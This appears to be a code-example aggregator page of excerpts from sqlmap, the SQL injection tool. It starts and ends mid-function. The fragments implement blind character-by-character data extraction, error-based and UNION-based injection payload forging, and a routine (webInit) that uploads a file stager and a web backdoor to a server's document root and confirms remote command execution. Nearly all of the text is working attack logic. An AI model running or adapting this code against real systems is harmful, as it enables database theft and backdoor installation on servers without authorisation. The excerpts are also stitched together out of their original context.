                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(
                                INFERENCE_MARKER, "(%s)%s%s" %
                                (expressionUnescaped, INFERENCE_EQUALS_CHAR,
                                 testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(
                            query.replace(INFERENCE_MARKER,
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl,
                                  not (charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif conf.verbose in (1, 2) or conf.api:
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                        -INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break
                elif charsetType and partialValue[-1:].isspace():
                    finalValue = partialValue[:-1]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not conf.api:
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not conf.api:
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(
        kb.technique), safecharencode(_) if kb.safeCharEncode else _
Example #40
0
 def _orderByTest(cols):
     query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
     query = agent.suffixQuery(query, suffix=suffix, comment=comment)
     payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
     page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
     return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order by", "unknown column", "failed")) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I)
Example #41
0
def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    rotator = 0
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(
            Backend.isDbms(dbms)
            for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE, DBMS.ORACLE)
    ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = "searching for error chunk length..."
        logger.debug(debugMsg)

        seen = set()
        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)

            if Backend.isDbms(DBMS.ORACLE):
                testQuery = "RPAD('%s',%d,'%s')" % (testChar, current,
                                                    testChar)
            else:
                testQuery = "%s('%s',%d)" % ("REPEAT" if Backend.isDbms(
                    DBMS.MYSQL) else "REPLICATE", testChar, current)
                testQuery = "SELECT %s" % (agent.hexConvertField(testQuery)
                                           if conf.hexConvert else testQuery)

            result = unArrayizeValue(
                _oneShotErrorUse(testQuery, chunkTest=True))
            seen.add(current)

            if (result or "").startswith(testChar):
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    result = re.search(r"\A\w+", result).group(0)
                    candidate = len(result) - len(kb.chars.stop)
                    current = candidate if candidate != current and candidate not in seen else current - 1
            else:
                current = current // 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start,
                                                       kb.chars.stop)
                trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
                                         DBMS.ORACLE)
                    ) and not any(_ in field for _ in ("COUNT", "CASE")
                                  ) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = getTechniqueData().vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers, _ = Request.queryPage(payload,
                                                     content=True,
                                                     raise404=False)

                incrementCounter(getTechnique())

                if page and conf.noEscape:
                    page = re.sub(
                        r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
                        (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = firstNotNone(
                    extractRegexResult(check, page),
                    extractRegexResult(
                        check, threadData.lastHTTPError[2]
                        if wasLastResponseHTTPError() else None),
                    extractRegexResult(
                        check,
                        listToStrValue((
                            headers[header] for header in headers
                            if header.lower() != HTTP_HEADER.URI.lower()
                        ) if headers else None)),
                    extractRegexResult(
                        check, threadData.lastRedirectMsg[1]
                        if threadData.lastRedirectMsg
                        and threadData.lastRedirectMsg[0]
                        == threadData.lastRequestUID else None))

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = firstNotNone(
                        extractRegexResult(trimCheck, page),
                        extractRegexResult(
                            trimCheck, threadData.lastHTTPError[2]
                            if wasLastResponseHTTPError() else None),
                        extractRegexResult(
                            trimCheck,
                            listToStrValue((
                                headers[header] for header in headers
                                if header.lower() != HTTP_HEADER.URI.lower()
                            ) if headers else None)),
                        extractRegexResult(
                            trimCheck, threadData.lastRedirectMsg[1]
                            if threadData.lastRedirectMsg
                            and threadData.lastRedirectMsg[0]
                            == threadData.lastRequestUID else None))

                    if trimmed:
                        if not chunkTest:
                            warnMsg = "possible server trimmed output detected "
                            warnMsg += "(due to its length and/or content): "
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:
                                                                               2]
                            output = extractRegexResult(
                                check, trimmed, re.IGNORECASE)

                            if not output:
                                check = r"(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(
                                    check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL, DBMS.SYBASE,
                                     DBMS.ORACLE)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(
                            output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if output and conf.verbose in (1, 2) and not any(
                        (conf.api, kb.bruteMode)):
                        if kb.fileReadMode:
                            dataToStdout(
                                _formatPartialContent(output).replace(
                                    r"\n", "\n").replace(r"\t", "\t"))
                        elif offset > 1:
                            rotator += 1

                            if rotator >= len(ROTATING_CHARS):
                                rotator = 0

                            dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, six.string_types):
            retVal = htmlUnescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Example #42
0
def __findUnionCharCount(comment,
                         place,
                         parameter,
                         value,
                         prefix,
                         suffix,
                         where=PAYLOAD.WHERE.ORIGINAL):
    """
    Finds number of columns affected by UNION based injection
    """
    retVal = None

    pushValue(kb.errorIsNone)
    items, ratios = [], []
    kb.errorIsNone = False
    lowerCount, upperCount = conf.uColsStart, conf.uColsStop

    if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
        upperCount = lowerCount + MIN_UNION_RESPONSES

    min_, max_ = MAX_RATIO, MIN_RATIO

    for count in range(lowerCount, upperCount + 1):
        query = agent.forgeInbandQuery('', -1, count, comment, prefix, suffix,
                                       conf.uChar)
        payload = agent.payload(place=place,
                                parameter=parameter,
                                newValue=query,
                                where=where)
        page, _ = Request.queryPage(payload,
                                    place=place,
                                    content=True,
                                    raise404=False)
        ratio = comparison(page, True) or MIN_RATIO
        ratios.append(ratio)
        min_, max_ = min(min_, ratio), max(max_, ratio)
        items.append((count, ratio))

    ratios.pop(ratios.index(min_))
    ratios.pop(ratios.index(max_))

    deviation = stdev(ratios)

    if abs(max_ - min_) < MIN_STATISTICAL_RANGE:
        return None

    lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(
        ratios) + UNION_STDEV_COEFF * deviation
    minItem, maxItem = None, None

    for item in items:
        if item[1] == min_:
            minItem = item
        elif item[1] == max_:
            maxItem = item

    if min_ < lower:
        retVal = minItem[0]

    if max_ > upper:
        if retVal is None or abs(max_ - upper) > abs(min_ - lower):
            retVal = maxItem[0]

    kb.errorIsNone = popValue()

    if retVal:
        infoMsg = "target url appears to be UNION injectable with %d columns" % retVal
        logger.info(infoMsg)

    return retVal
Example #43
0
def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
    validPayload = None
    vector = None

    positions = range(0, count)

    # Unbiased approach for searching appropriate usable column
    random.shuffle(positions)

    for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
        if vector:
            break

        # For each column of the table (# of NULL) perform a request using
        # the UNION ALL SELECT statement to test it the target URL is
        # affected by an exploitable union SQL injection vulnerability
        for position in positions:
            # Prepare expression with delimiters
            randQuery = randomStr(charCount)
            phrase = "%s%s%s".lower() % (kb.chars.start, randQuery, kb.chars.stop)
            randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
            randQueryUnescaped = unescaper.escape(randQueryProcessed)

            # Forge the union SQL injection request
            query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

            # Perform the request
            page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
            content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
                removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                payload, True) or "")

            if content and phrase in content:
                validPayload = payload
                kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
                vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)

                if where == PAYLOAD.WHERE.ORIGINAL:
                    # Prepare expression with delimiters
                    randQuery2 = randomStr(charCount)
                    phrase2 = "%s%s%s".lower() % (kb.chars.start, randQuery2, kb.chars.stop)
                    randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
                    randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)

                    # Confirm that it is a full union SQL injection
                    query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
                    payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                    # Perform the request
                    page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                    content = "%s%s".lower() % (page or "", listToStrValue(headers.headers if headers else None) or "")

                    if not all(_ in content for _ in (phrase, phrase2)):
                        vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
                    elif not kb.unionDuplicates:
                        fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())

                        # Check for limited row output
                        query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
                        payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)

                        # Perform the request
                        page, headers = Request.queryPage(payload, place=place, content=True, raise404=False)
                        content = "%s%s".lower() % (removeReflectiveValues(page, payload) or "", \
                            removeReflectiveValues(listToStrValue(headers.headers if headers else None), \
                            payload, True) or "")
                        if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
                            warnMsg = "output with limited number of rows detected. Switching to partial mode"
                            logger.warn(warnMsg)
                            vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)

                unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()

                if unionErrorCase and count > 1:
                    warnMsg = "combined UNION/error-based SQL injection case found on "
                    warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
                    warnMsg += "column with better characteristics"
                    logger.warn(warnMsg)
                else:
                    break

    return validPayload, vector
Example #44
0
    def webInit(self):
        """
        This method is used to write a web backdoor (agent) on a writable
        remote directory within the web server document root.
        """

        if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
            return

        self.checkDbmsOs()

        infoMsg = "trying to upload the file stager"
        logger.info(infoMsg)

        default = None
        choices = list(getPublicTypeMembers(WEB_API, True))

        for ext in choices:
            if conf.url.endswith(ext):
                default = ext
                break

        if not default:
            if Backend.isOs(OS.WINDOWS):
                default = WEB_API.ASP
            else:
                default = WEB_API.PHP

        message = "which web application language does the web server "
        message += "support?\n"

        for count in xrange(len(choices)):
            ext = choices[count]
            message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))

            if default == ext:
                default = count + 1

        message = message[:-1]

        while True:
            choice = readInput(message, default=str(default))

            if not choice.isdigit():
                logger.warn("invalid value, only digits are allowed")

            elif int(choice) < 1 or int(choice) > len(choices):
                logger.warn("invalid value, it must be between 1 and %d" % len(choices))

            else:
                self.webApi = choices[int(choice) - 1]
                break

        kb.docRoot = getDocRoot()
        directories = sorted(getDirs())

        backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
        backdoorStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
        originalBackdoorContent = backdoorContent = backdoorStream.read()

        stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
        stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))

        success = False

        for docRoot in arrayizeValue(kb.docRoot):
            if success:
                break

            for directory in directories:
                uriPath = ""

                if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
                    continue

                directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
                docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')

                # '' or '/' -> 'docRoot'
                if not directory:
                    localPath = docRoot
                    uriPath = '/'
                # 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
                elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
                    localPath = "%s/%s" % (docRoot, directory)
                    uriPath = "/%s" % directory
                else:
                    localPath = directory
                    uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
                    docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot

                    if docRoot in uriPath:
                        uriPath = uriPath.replace(docRoot, "/")
                        uriPath = "/%s" % normalizePath(uriPath)
                    else:
                        webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)

                        if webDir:
                            uriPath = "/%s" % webDir
                        else:
                            continue

                localPath = posixpath.normpath(localPath).rstrip('/')
                uriPath = posixpath.normpath(uriPath).rstrip('/')

                # Upload the file stager
                self._webFileInject(stagerContent, stagerName, localPath)

                self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
                self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
                self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')

                uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                uplPage = uplPage or ""

                if "sqlmap file uploader" not in uplPage:
                    warnMsg = "unable to upload the file stager "
                    warnMsg += "on '%s'" % localPath
                    singleTimeWarnMessage(warnMsg)

                    if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
                        infoMsg = "trying to upload the file stager via "
                        infoMsg += "UNION technique"
                        logger.info(infoMsg)

                        handle, filename = mkstemp()
                        os.fdopen(handle).close()  # close low level handle (causing problems latter)

                        with open(filename, "w+") as f:
                            _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
                            _ = _.replace("WRITABLE_DIR", localPath.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else localPath)
                            f.write(utf8encode(_))

                        self.unionWriteFile(filename, self.webStagerFilePath, "text")

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" not in uplPage:
                            continue
                    else:
                        continue

                if "<%" in uplPage or "<?" in uplPage:
                    warnMsg = "file stager uploaded on '%s', " % localPath
                    warnMsg += "but not dynamically interpreted"
                    logger.warn(warnMsg)
                    continue

                elif self.webApi == WEB_API.ASPX:
                    kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                    kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

                infoMsg = "the file stager has been successfully uploaded "
                infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
                logger.info(infoMsg)

                if self.webApi == WEB_API.ASP:
                    runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
                    runcmdStream = decloakToNamedStream(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                    match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                    if match:
                        backdoorDirectory = match.group(1)
                    else:
                        continue

                    backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                    backdoorStream.truncate()
                    backdoorStream.read()
                    backdoorStream.seek(0)
                    backdoorStream.write(backdoorContent)

                    if self._webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
                        self._webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
                        self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                        self.webDirectory = backdoorDirectory
                    else:
                        continue

                else:
                    if not self._webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
                        warnMsg = "backdoor has not been successfully uploaded "
                        warnMsg += "through the file stager possibly because "
                        warnMsg += "the user running the web server process "
                        warnMsg += "has not write privileges over the folder "
                        warnMsg += "where the user running the DBMS process "
                        warnMsg += "was able to upload the file stager or "
                        warnMsg += "because the DBMS and web server sit on "
                        warnMsg += "different servers"
                        logger.warn(warnMsg)

                        message = "do you want to try the same method used "
                        message += "for the file stager? [Y/n] "
                        getOutput = readInput(message, default="Y")

                        if getOutput in ("y", "Y"):
                            self._webFileInject(backdoorContent, backdoorName, localPath)
                        else:
                            continue

                    self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = localPath

                self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')

                testStr = "command execution test"
                output = self.webBackdoorRunCmd("echo %s" % testStr)

                if output and testStr in output:
                    infoMsg = "the backdoor has been successfully "
                else:
                    infoMsg = "the backdoor has probably been successfully "

                infoMsg += "uploaded on '%s' - " % self.webDirectory
                infoMsg += self.webBackdoorUrl
                logger.info(infoMsg)

                success = True

                break
Example #45
0
        def getChar(idx,
                    charTbl=None,
                    continuousOrder=True,
                    expand=charsetType is None,
                    shiftTable=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(asciiTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(
                        "'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(
                        payload, (expressionUnescaped, idx)).replace(
                            markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(
                                        idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay
                                        ) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = "increasing time delay to %d second%s " % (
                                            conf.timeSec,
                                            's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = "turning off time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (
                                originalTbl[originalTbl.index(minValue)],
                                originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(
                                payload.replace(INFERENCE_GREATER_CHAR,
                                                INFERENCE_EQUALS_CHAR),
                                (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(
                                forgedPayload,
                                timeBasedCompare=timeBasedCompare,
                                raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None
Example #46
0
def checkStability():
    """
    This function checks if the URL content is stable requesting the
    same page two times with a small delay within each request to
    assume that it is stable.

    In case the content of the page differs when requesting
    the same page, the dynamicity might depend on other parameters,
    like for instance string matching (--string).
    """

    infoMsg = "testing if the url is stable, wait a few seconds"
    logger.info(infoMsg)

    firstPage = kb.originalPage  # set inside checkConnection()
    time.sleep(1)
    secondPage, _ = Request.queryPage(content=True, raise404=False)

    if kb.redirectChoice:
        return None

    kb.pageStable = (firstPage == secondPage)

    if kb.pageStable:
        if firstPage:
            infoMsg = "url is stable"
            logger.info(infoMsg)
        else:
            errMsg = "there was an error checking the stability of page "
            errMsg += "because of lack of content. Please check the "
            errMsg += "page request results (and probable errors) by "
            errMsg += "using higher verbosity levels"
            logger.error(errMsg)

    else:
        warnMsg = "url is not stable, sqlmap will base the page "
        warnMsg += "comparison on a sequence matcher. If no dynamic nor "
        warnMsg += "injectable parameters are detected, or in case of "
        warnMsg += "junk results, refer to user's manual paragraph "
        warnMsg += "'Page comparison' and provide a string or regular "
        warnMsg += "expression to match on"
        logger.warn(warnMsg)

        message = "how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] "
        test = readInput(message, default="C")

        if test and test[0] in ("q", "Q"):
            raise sqlmapUserQuitException

        elif test and test[0] in ("s", "S"):
            showStaticWords(firstPage, secondPage)

            message = "please enter value for parameter 'string': "
            test = readInput(message)

            if test:
                conf.string = test

                if kb.nullConnection:
                    debugMsg = "turning off NULL connection "
                    debugMsg += "support because of string checking"
                    logger.debug(debugMsg)

                    kb.nullConnection = None
            else:
